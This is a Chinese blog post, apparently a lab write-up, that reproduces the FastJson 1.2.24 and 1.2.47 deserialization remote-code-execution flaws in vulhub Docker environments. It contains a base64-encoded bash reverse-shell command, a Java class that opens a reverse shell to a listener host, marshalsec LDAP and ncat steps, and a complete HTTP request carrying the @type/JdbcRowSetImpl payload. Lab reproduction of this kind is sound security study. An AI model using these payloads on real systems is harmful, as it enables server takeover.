FastJson反序列化漏洞综合复现

FastJson反序列化漏洞综合复现

FastJson 1.2.24 RCE

漏洞原理

FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java 对象序列化为JSON字符串,也可以从JSON字符串反序列化到Java 对象。具有执行效率高的特点,应用范围广泛。
FastJson在解析JSON数据的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
从而导致攻击者构造JSON数据,通过@type键值来指定反序列化类型,从而调用远程协议(rmi、ldap等)加载远程的恶意Java类文件,造成命令执行,服务器权限丢失!

漏洞环境

1.vulhub环境
	/app/vulhub-20201028/fastjson/1.2.24-rce
2.docker启动
	docker-compose up -d
3.查看docker配置
	docker-compose config

漏洞复现

访问站点发现响应包中返回:JSON格式数据

在这里插入图片描述

构造数据包,发现我们所提交的JSON数据经过后端解析并输出:

在这里插入图片描述

Fastjson提供了反序列化功能,允许用户在输入JSON串时通过"@type"键对应的value指定任意反序列化类名。并且Fastjson在反射地生成我们指定的类的实例化对象时,还会自动调用该对象的setter方法及部分getter方法。
这里反序列化了一个com.sun.rowset.JdbcRowSetImpl的类,在反射的过程中,调用了lookup方法,而lookup的参数可以通过"dataSourceName"键对应的value指定,从而利用远程协议(rmi、ldap等)加载远程恶意的java类文件进行反弹shell。
Payload:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzLjE0NS84MDgwIDA+JjE=}|{base64,-d}|{bash,-i}

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

FastJson 1.2.47 RCE

漏洞原理

Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若攻击者构造JSON数据,通过@type键值来指定反序列化类型,从而调用远程协议(rmi、ldap等)加载远程的恶意Java类文件,造成命令执行,服务器权限丢失!

漏洞环境

1.vulhub环境
	/app/vulhub-20201028/fastjson/1.2.47-rce
2.docker启动
	docker-compose up -d
3.查看docker配置
	docker-compose config

漏洞测试

访问站点发现响应包中返回:JSON格式数据 -> 尝试构造数据包发现我们所提交的JSON数据经过后端解析并输出

在这里插入图片描述

在这里插入图片描述

这里反序列化了一个com.sun.rowset.JdbcRowSetImpl的类,在反射的过程中,调用了lookup方法,而lookup的参数可以通过"dataSourceName"键对应的value指定,从而利用远程协议(rmi、ldap等)加载远程恶意的java类文件进行反弹shell。
编译远程恶意class文件
在使用marshalsec-0.0.3-SNAPSHOT-all加载远程class文件时:
	注意对方环境,对方环境可能是java1.8的话就要用java1.8编译java文件:
		(java.1.8版本)javac *.java
	如果对方环境是java11的话就使用java11进行编译java文件:
		(java.11版本)javac *.java
如果编译的java类文件与对方java环境不一致就会导致class文件执行不成功!!!
// javac GetShell_1_8.java
import java.lang.Runtime;
import java.lang.Process;

public class Getshell_1_8{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.109/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

在这里插入图片描述

开启web服务将class文件放在web站点下

在这里插入图片描述

在这里插入图片描述

使用marshalsec开启LDAP服务监听

在这里插入图片描述

Ncat进行监听6666反弹shell端口

在这里插入图片描述

构造JSON数据包加载远程恶意class文件
POST / HTTP/1.1
Host: 192.168.13.147:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 271

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.0.109:9999/Getshell_1_8",
        "autoCommit":true
    }
}

在这里插入图片描述

在这里插入图片描述

成功反弹shell

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值